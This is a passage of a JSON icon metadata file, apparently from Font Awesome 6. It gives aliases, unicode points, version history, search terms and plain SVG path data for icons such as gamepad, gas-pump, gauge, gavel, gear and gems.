46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z"
      }
    },
    "free": ["brands"]
  },
  "gamepad": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f11b"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "arcade",
        "controller",
        "d-pad",
        "joystick",
        "video",
        "video game"
      ]
    },
    "styles": ["solid"],
    "unicode": "f11b",
    "label": "Gamepad",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 64C86 64 0 150 0 256S86 448 192 448H448c106 0 192-86 192-192s-86-192-192-192H192zM496 168a40 40 0 1 1 0 80 40 40 0 1 1 0-80zM392 304a40 40 0 1 1 80 0 40 40 0 1 1 -80 0zM168 200c0-13.3 10.7-24 24-24s24 10.7 24 24v32h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V200z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 64C86 64 0 150 0 256S86 448 192 448H448c106 0 192-86 192-192s-86-192-192-192H192zM496 168a40 40 0 1 1 0 80 40 40 0 1 1 0-80zM392 304a40 40 0 1 1 80 0 40 40 0 1 1 -80 0zM168 200c0-13.3 10.7-24 24-24s24 10.7 24 24v32h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V200z"
      }
    },
    "free": ["solid"]
  },
  "gas-pump": {
    "aliases": {
      "unicodes": {
        "composite": ["26fd"],
        "secondary": ["10f52f"]
      }
    },
    "changes": [
      "5.0.13",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "car",
        "diesel",
        "fuel",
        "fuel pump",
        "fuelpump",
        "gas",
        "gasoline",
        "petrol",
        "pump",
        "station"
      ]
    },
    "styles": ["solid"],
    "unicode": "f52f",
    "label": "Gas Pump",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 64C32 28.7 60.7 0 96 0H256c35.3 0 64 28.7 64 64V256h8c48.6 0 88 39.4 88 88v32c0 13.3 10.7 24 24 24s24-10.7 24-24V222c-27.6-7.1-48-32.2-48-62V96L384 64c-8.8-8.8-8.8-23.2 0-32s23.2-8.8 32 0l77.3 77.3c12 12 18.7 28.3 18.7 45.3V168v24 32V376c0 39.8-32.2 72-72 72s-72-32.2-72-72V344c0-22.1-17.9-40-40-40h-8V448c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V64zM96 80v96c0 8.8 7.2 16 16 16H240c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H112c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 64C32 28.7 60.7 0 96 0H256c35.3 0 64 28.7 64 64V256h8c48.6 0 88 39.4 88 88v32c0 13.3 10.7 24 24 24s24-10.7 24-24V222c-27.6-7.1-48-32.2-48-62V96L384 64c-8.8-8.8-8.8-23.2 0-32s23.2-8.8 32 0l77.3 77.3c12 12 18.7 28.3 18.7 45.3V168v24 32V376c0 39.8-32.2 72-72 72s-72-32.2-72-72V344c0-22.1-17.9-40-40-40h-8V448c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V64zM96 80v96c0 8.8 7.2 16 16 16H240c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H112c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "gauge": {
    "aliases": {
      "names": ["dashboard", "gauge-med", "tachometer-alt-average"],
      "unicodes": {
        "secondary": ["10f624"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dashboard", "fast", "odometer", "speed", "speedometer"]
    },
    "styles": ["solid"],
    "unicode": "f624",
    "label": "Gauge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-26.9-16.5-49.9-40-59.3V88c0-13.3-10.7-24-24-24s-24 10.7-24 24V292.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64s64-28.7 64-64zM144 176a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm-16 80a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM400 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-26.9-16.5-49.9-40-59.3V88c0-13.3-10.7-24-24-24s-24 10.7-24 24V292.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64s64-28.7 64-64zM144 176a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm-16 80a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM400 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "gauge-high": {
    "aliases": {
      "names": ["tachometer-alt", "tachometer-alt-fast"],
      "unicodes": {
        "composite": ["f3fd"],
        "primary": ["f3fd"],
        "secondary": ["10f3fd", "10f625"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dashboard", "fast", "odometer", "speed", "speedometer"]
    },
    "styles": ["solid"],
    "unicode": "f625",
    "label": "Gauge High",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM288 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM256 416c35.3 0 64-28.7 64-64c0-17.4-6.9-33.1-18.1-44.6L366 161.7c5.3-12.1-.2-26.3-12.3-31.6s-26.3 .2-31.6 12.3L257.9 288c-.6 0-1.3 0-1.9 0c-35.3 0-64 28.7-64 64s28.7 64 64 64zM176 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM96 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm352-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM288 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM256 416c35.3 0 64-28.7 64-64c0-17.4-6.9-33.1-18.1-44.6L366 161.7c5.3-12.1-.2-26.3-12.3-31.6s-26.3 .2-31.6 12.3L257.9 288c-.6 0-1.3 0-1.9 0c-35.3 0-64 28.7-64 64s28.7 64 64 64zM176 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM96 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm352-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "gauge-simple": {
    "aliases": {
      "names": ["gauge-simple-med", "tachometer-average"],
      "unicodes": {
        "secondary": ["10f629"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dashboard", "fast", "odometer", "speed", "speedometer"]
    },
    "styles": ["solid"],
    "unicode": "f629",
    "label": "Gauge Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-26.9-16.5-49.9-40-59.3V88c0-13.3-10.7-24-24-24s-24 10.7-24 24V292.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-26.9-16.5-49.9-40-59.3V88c0-13.3-10.7-24-24-24s-24 10.7-24 24V292.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      }
    },
    "free": ["solid"]
  },
  "gauge-simple-high": {
    "aliases": {
      "names": ["tachometer", "tachometer-fast"],
      "unicodes": {
        "composite": ["f0e4"],
        "primary": ["f0e4"],
        "secondary": ["10f0e4", "10f62a"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dashboard", "fast", "odometer", "speed", "speedometer"]
    },
    "styles": ["solid"],
    "unicode": "f62a",
    "label": "Gauge Simple High",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-15.9-5.8-30.4-15.3-41.6l76.6-147.4c6.1-11.8 1.5-26.3-10.2-32.4s-26.2-1.5-32.4 10.2L262.1 288.3c-2-.2-4-.3-6.1-.3c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-15.9-5.8-30.4-15.3-41.6l76.6-147.4c6.1-11.8 1.5-26.3-10.2-32.4s-26.2-1.5-32.4 10.2L262.1 288.3c-2-.2-4-.3-6.1-.3c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64z"
      }
    },
    "free": ["solid"]
  },
  "gavel": {
    "aliases": {
      "names": ["legal"],
      "unicodes": {
        "secondary": ["10f0e3"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hammer", "judge", "law", "lawyer", "opinion"]
    },
    "styles": ["solid"],
    "unicode": "f0e3",
    "label": "Gavel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M318.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-120 120c-12.5 12.5-12.5 32.8 0 45.3l16 16c12.5 12.5 32.8 12.5 45.3 0l4-4L325.4 293.4l-4 4c-12.5 12.5-12.5 32.8 0 45.3l16 16c12.5 12.5 32.8 12.5 45.3 0l120-120c12.5-12.5 12.5-32.8 0-45.3l-16-16c-12.5-12.5-32.8-12.5-45.3 0l-4 4L330.6 74.6l4-4c12.5-12.5 12.5-32.8 0-45.3l-16-16zm-152 288c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l48 48c12.5 12.5 32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-1.4-1.4L272 285.3 226.7 240 168 298.7l-1.4-1.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M318.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-120 120c-12.5 12.5-12.5 32.8 0 45.3l16 16c12.5 12.5 32.8 12.5 45.3 0l4-4L325.4 293.4l-4 4c-12.5 12.5-12.5 32.8 0 45.3l16 16c12.5 12.5 32.8 12.5 45.3 0l120-120c12.5-12.5 12.5-32.8 0-45.3l-16-16c-12.5-12.5-32.8-12.5-45.3 0l-4 4L330.6 74.6l4-4c12.5-12.5 12.5-32.8 0-45.3l-16-16zm-152 288c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l48 48c12.5 12.5 32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-1.4-1.4L272 285.3 226.7 240 168 298.7l-1.4-1.4z"
      }
    },
    "free": ["solid"]
  },
  "gear": {
    "aliases": {
      "names": ["cog"],
      "unicodes": {
        "composite": ["2699"],
        "secondary": ["10f013"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cog",
        "cogwheel",
        "gear",
        "mechanical",
        "settings",
        "sprocket",
        "tool",
        "wheel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f013",
    "label": "Gear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M495.9 166.6c3.2 8.7 .5 18.4-6.4 24.6l-43.3 39.4c1.1 8.3 1.7 16.8 1.7 25.4s-.6 17.1-1.7 25.4l43.3 39.4c6.9 6.2 9.6 15.9 6.4 24.6c-4.4 11.9-9.7 23.3-15.8 34.3l-4.7 8.1c-6.6 11-14 21.4-22.1 31.2c-5.9 7.2-15.7 9.6-24.5 6.8l-55.7-17.7c-13.4 10.3-28.2 18.9-44 25.4l-12.5 57.1c-2 9.1-9 16.3-18.2 17.8c-13.8 2.3-28 3.5-42.5 3.5s-28.7-1.2-42.5-3.5c-9.2-1.5-16.2-8.7-18.2-17.8l-12.5-57.1c-15.8-6.5-30.6-15.1-44-25.4L83.1 425.9c-8.8 2.8-18.6 .3-24.5-6.8c-8.1-9.8-15.5-20.2-22.1-31.2l-4.7-8.1c-6.1-11-11.4-22.4-15.8-34.3c-3.2-8.7-.5-18.4 6.4-24.6l43.3-39.4C64.6 273.1 64 264.6 64 256s.6-17.1 1.7-25.4L22.4 191.2c-6.9-6.2-9.6-15.9-6.4-24.6c4.4-11.9 9.7-23.3 15.8-34.3l4.7-8.1c6.6-11 14-21.4 22.1-31.2c5.9-7.2 15.7-9.6 24.5-6.8l55.7 17.7c13.4-10.3 28.2-18.9 44-25.4l12.5-57.1c2-9.1 9-16.3 18.2-17.8C227.3 1.2 241.5 0 256 0s28.7 1.2 42.5 3.5c9.2 1.5 16.2 8.7 18.2 17.8l12.5 57.1c15.8 6.5 30.6 15.1 44 25.4l55.7-17.7c8.8-2.8 18.6-.3 24.5 6.8c8.1 9.8 15.5 20.2 22.1 31.2l4.7 8.1c6.1 11 11.4 22.4 15.8 34.3zM256 336a80 80 0 1 0 0-160 80 80 0 1 0 0 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M495.9 166.6c3.2 8.7 .5 18.4-6.4 24.6l-43.3 39.4c1.1 8.3 1.7 16.8 1.7 25.4s-.6 17.1-1.7 25.4l43.3 39.4c6.9 6.2 9.6 15.9 6.4 24.6c-4.4 11.9-9.7 23.3-15.8 34.3l-4.7 8.1c-6.6 11-14 21.4-22.1 31.2c-5.9 7.2-15.7 9.6-24.5 6.8l-55.7-17.7c-13.4 10.3-28.2 18.9-44 25.4l-12.5 57.1c-2 9.1-9 16.3-18.2 17.8c-13.8 2.3-28 3.5-42.5 3.5s-28.7-1.2-42.5-3.5c-9.2-1.5-16.2-8.7-18.2-17.8l-12.5-57.1c-15.8-6.5-30.6-15.1-44-25.4L83.1 425.9c-8.8 2.8-18.6 .3-24.5-6.8c-8.1-9.8-15.5-20.2-22.1-31.2l-4.7-8.1c-6.1-11-11.4-22.4-15.8-34.3c-3.2-8.7-.5-18.4 6.4-24.6l43.3-39.4C64.6 273.1 64 264.6 64 256s.6-17.1 1.7-25.4L22.4 191.2c-6.9-6.2-9.6-15.9-6.4-24.6c4.4-11.9 9.7-23.3 15.8-34.3l4.7-8.1c6.6-11 14-21.4 22.1-31.2c5.9-7.2 15.7-9.6 24.5-6.8l55.7 17.7c13.4-10.3 28.2-18.9 44-25.4l12.5-57.1c2-9.1 9-16.3 18.2-17.8C227.3 1.2 241.5 0 256 0s28.7 1.2 42.5 3.5c9.2 1.5 16.2 8.7 18.2 17.8l12.5 57.1c15.8 6.5 30.6 15.1 44 25.4l55.7-17.7c8.8-2.8 18.6-.3 24.5 6.8c8.1 9.8 15.5 20.2 22.1 31.2l4.7 8.1c6.1 11 11.4 22.4 15.8 34.3zM256 336a80 80 0 1 0 0-160 80 80 0 1 0 0 160z"
      }
    },
    "free": ["solid"]
  },
  "gears": {
    "aliases": {
      "names": ["cogs"],
      "unicodes": {
        "secondary": ["10f085"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["gears", "mechanical", "settings", "sprocket", "wheel"]
    },
    "styles": ["solid"],
    "unicode": "f085",
    "label": "Gears",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M308.5 135.3c7.1-6.3 9.9-16.2 6.2-25c-2.3-5.3-4.8-10.5-7.6-15.5L304 89.4c-3-5-6.3-9.9-9.8-14.6c-5.7-7.6-15.7-10.1-24.7-7.1l-28.2 9.3c-10.7-8.8-23-16-36.2-20.9L199 27.1c-1.9-9.3-9.1-16.7-18.5-17.8C173.9 8.4 167.2 8 160.4 8h-.7c-6.8 0-13.5 .4-20.1 1.2c-9.4 1.1-16.6 8.6-18.5 17.8L115 56.1c-13.3 5-25.5 12.1-36.2 20.9L50.5 67.8c-9-3-19-.5-24.7 7.1c-3.5 4.7-6.8 9.6-9.9 14.6l-3 5.3c-2.8 5-5.3 10.2-7.6 15.6c-3.7 8.7-.9 18.6 6.2 25l22.2 19.8C32.6 161.9 32 168.9 32 176s.6 14.1 1.7 20.9L11.5 216.7c-7.1 6.3-9.9 16.2-6.2 25c2.3 5.3 4.8 10.5 7.6 15.6l3 5.2c3 5.1 6.3 9.9 9.9 14.6c5.7 7.6 15.7 10.1 24.7 7.1l28.2-9.3c10.7 8.8 23 16 36.2 20.9l6.1 29.1c1.9 9.3 9.1 16.7 18.5 17.8c6.7 .8 13.5 1.2 20.4 1.2s13.7-.4 20.4-1.2c9.4-1.1 16.6-8.6 18.5-17.8l6.1-29.1c13.3-5 25.5-12.1 36.2-20.9l28.2 9.3c9 3 19 .5 24.7-7.1c3.5-4.7 6.8-9.5 9.8-14.6l3.1-5.4c2.8-5 5.3-10.2 7.6-15.5c3.7-8.7 .9-18.6-6.2-25l-22.2-19.8c1.1-6.8 1.7-13.8 1.7-20.9s-.6-14.1-1.7-20.9l22.2-19.8zM112 176a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM504.7 500.5c6.3 7.1 16.2 9.9 25 6.2c5.3-2.3 10.5-4.8 15.5-7.6l5.4-3.1c5-3 9.9-6.3 14.6-9.8c7.6-5.7 10.1-15.7 7.1-24.7l-9.3-28.2c8.8-10.7 16-23 20.9-36.2l29.1-6.1c9.3-1.9 16.7-9.1 17.8-18.5c.8-6.7 1.2-13.5 1.2-20.4s-.4-13.7-1.2-20.4c-1.1-9.4-8.6-16.6-17.8-18.5L583.9 307c-5-13.3-12.1-25.5-20.9-36.2l9.3-28.2c3-9 .5-19-7.1-24.7c-4.7-3.5-9.6-6.8-14.6-9.9l-5.3-3c-5-2.8-10.2-5.3-15.6-7.6c-8.7-3.7-18.6-.9-25 6.2l-19.8 22.2c-6.8-1.1-13.8-1.7-20.9-1.7s-14.1 .6-20.9 1.7l-19.8-22.2c-6.3-7.1-16.2-9.9-25-6.2c-5.3 2.3-10.5 4.8-15.6 7.6l-5.2 3c-5.1 3-9.9 6.3-14.6 9.9c-7.6 5.7-10.1 15.7-7.1 24.7l9.3 28.2c-8.8 10.7-16 23-20.9 36.2L315.1 313c-9.3 1.9-16.7 9.1-17.8 18.5c-.8 6.7-1.2 13.5-1.2 20.4s.4 13.7 1.2 20.4c1.1 9.4 8.6 16.6 17.8 18.5l29.1 6.1c5 13.3 12.1 25.5 20.9 36.2l-9.3 28.2c-3 9-.5 19 7.1 24.7c4.7 3.5 9.5 6.8 14.6 9.8l5.4 3.1c5 2.8 10.2 5.3 15.5 7.6c8.7 3.7 18.6 .9 25-6.2l19.8-22.2c6.8 1.1 13.8 1.7 20.9 1.7s14.1-.6 20.9-1.7l19.8 22.2zM464 304a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M308.5 135.3c7.1-6.3 9.9-16.2 6.2-25c-2.3-5.3-4.8-10.5-7.6-15.5L304 89.4c-3-5-6.3-9.9-9.8-14.6c-5.7-7.6-15.7-10.1-24.7-7.1l-28.2 9.3c-10.7-8.8-23-16-36.2-20.9L199 27.1c-1.9-9.3-9.1-16.7-18.5-17.8C173.9 8.4 167.2 8 160.4 8h-.7c-6.8 0-13.5 .4-20.1 1.2c-9.4 1.1-16.6 8.6-18.5 17.8L115 56.1c-13.3 5-25.5 12.1-36.2 20.9L50.5 67.8c-9-3-19-.5-24.7 7.1c-3.5 4.7-6.8 9.6-9.9 14.6l-3 5.3c-2.8 5-5.3 10.2-7.6 15.6c-3.7 8.7-.9 18.6 6.2 25l22.2 19.8C32.6 161.9 32 168.9 32 176s.6 14.1 1.7 20.9L11.5 216.7c-7.1 6.3-9.9 16.2-6.2 25c2.3 5.3 4.8 10.5 7.6 15.6l3 5.2c3 5.1 6.3 9.9 9.9 14.6c5.7 7.6 15.7 10.1 24.7 7.1l28.2-9.3c10.7 8.8 23 16 36.2 20.9l6.1 29.1c1.9 9.3 9.1 16.7 18.5 17.8c6.7 .8 13.5 1.2 20.4 1.2s13.7-.4 20.4-1.2c9.4-1.1 16.6-8.6 18.5-17.8l6.1-29.1c13.3-5 25.5-12.1 36.2-20.9l28.2 9.3c9 3 19 .5 24.7-7.1c3.5-4.7 6.8-9.5 9.8-14.6l3.1-5.4c2.8-5 5.3-10.2 7.6-15.5c3.7-8.7 .9-18.6-6.2-25l-22.2-19.8c1.1-6.8 1.7-13.8 1.7-20.9s-.6-14.1-1.7-20.9l22.2-19.8zM112 176a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM504.7 500.5c6.3 7.1 16.2 9.9 25 6.2c5.3-2.3 10.5-4.8 15.5-7.6l5.4-3.1c5-3 9.9-6.3 14.6-9.8c7.6-5.7 10.1-15.7 7.1-24.7l-9.3-28.2c8.8-10.7 16-23 20.9-36.2l29.1-6.1c9.3-1.9 16.7-9.1 17.8-18.5c.8-6.7 1.2-13.5 1.2-20.4s-.4-13.7-1.2-20.4c-1.1-9.4-8.6-16.6-17.8-18.5L583.9 307c-5-13.3-12.1-25.5-20.9-36.2l9.3-28.2c3-9 .5-19-7.1-24.7c-4.7-3.5-9.6-6.8-14.6-9.9l-5.3-3c-5-2.8-10.2-5.3-15.6-7.6c-8.7-3.7-18.6-.9-25 6.2l-19.8 22.2c-6.8-1.1-13.8-1.7-20.9-1.7s-14.1 .6-20.9 1.7l-19.8-22.2c-6.3-7.1-16.2-9.9-25-6.2c-5.3 2.3-10.5 4.8-15.6 7.6l-5.2 3c-5.1 3-9.9 6.3-14.6 9.9c-7.6 5.7-10.1 15.7-7.1 24.7l9.3 28.2c-8.8 10.7-16 23-20.9 36.2L315.1 313c-9.3 1.9-16.7 9.1-17.8 18.5c-.8 6.7-1.2 13.5-1.2 20.4s.4 13.7 1.2 20.4c1.1 9.4 8.6 16.6 17.8 18.5l29.1 6.1c5 13.3 12.1 25.5 20.9 36.2l-9.3 28.2c-3 9-.5 19 7.1 24.7c4.7 3.5 9.5 6.8 14.6 9.8l5.4 3.1c5 2.8 10.2 5.3 15.5 7.6c8.7 3.7 18.6 .9 25-6.2l19.8-22.2c6.8 1.1 13.8 1.7 20.9 1.7s14.1-.6 20.9-1.7l19.8 22.2zM464 304a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "gem": {
    "aliases": {
      "unicodes": {
        "composite": ["1f48e"],
        "secondary": ["10f3a5"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "diamond",
        "gem",
        "gem stone",
        "jewel",
        "jewelry",
        "sapphire",
        "stone",
        "treasure"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f3a5",
    "label": "Gem",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M116.7 33.8c4.5-6.1 11.7-9.8 19.3-9.8H376c7.6 0 14.8 3.6 19.3 9.8l112 152c6.8 9.2 6.1 21.9-1.5 30.4l-232 256c-4.5 5-11 7.9-17.8 7.9s-13.2-2.9-17.8-7.9l-232-256c-7.7-8.5-8.3-21.2-1.5-30.4l112-152zm38.5 39.8c-3.3 2.5-4.2 7-2.1 10.5l57.4 95.6L63.3 192c-4.1 .3-7.3 3.8-7.3 8s3.2 7.6 7.3 8l192 16c.4 0 .9 0 1.3 0l192-16c4.1-.3 7.3-3.8 7.3-8s-3.2-7.6-7.3-8L301.5 179.8l57.4-95.6c2.1-3.5 1.2-8.1-2.1-10.5s-7.9-2-10.7 1L256 172.2 165.9 74.6c-2.8-3-7.4-3.4-10.7-1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
